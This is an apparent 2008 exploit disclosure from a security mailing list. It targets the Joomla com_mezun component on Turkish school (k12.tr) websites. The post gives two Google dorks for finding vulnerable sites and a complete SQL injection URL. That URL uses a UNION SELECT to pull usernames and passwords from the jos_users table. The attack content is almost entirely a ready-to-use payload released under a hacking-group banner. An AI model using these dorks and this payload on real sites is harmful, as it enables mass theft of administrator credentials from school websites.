Related information

Daily web applications security vulnerabilities summary (PHP, ASP, JSP, CGI, Perl)

joomla (k12. tr)(com_iomez un)SQL Injection

joomla (k12. tr)(com_iomez un)SQL Injection

Kommentare zum Download script SQL Injection

my little forum XSS

From:	hackturkiye.hackturkiye_(at)_gmail.com <hackturkiye.hackturkiye_(at)_gmail.com>
Date:	12.02.2008
Subject:	joomll(k12.tr)(com_mezun)SQL Injection

#########################################################################
#
#  okul siteleri(k12.tr)(com_mezun)SQL Injection
#
#########################################################################
#
# AUTHOR : S@BUN
#
# HOME : http://www.hackturkiye.com
#
# MAİL : hackturkiye.hackturkiye@gmail.com
#
#########################################################################
#
#  DORK 1 : allinurl: com_mezun "hidemainmenu"
#
#  DORK 2 : allinurl: com_mezun
#
#########################################################################


EXPLOIT :

index.php?option=com_mezun&task=edit&hidemainmenu=S@BUN&id=-
9999999/**/union/**/select/**/concat(username,0x3a,password),username,
password,0x3a,0x3a,0x3a,0x3a,0x3a,0x3a,0x3a,0x3a/**/from/**/jos_users/*
 

#########################################################################
# S@BUN         i AM NOT HACKER        S@BUN
#########################################################################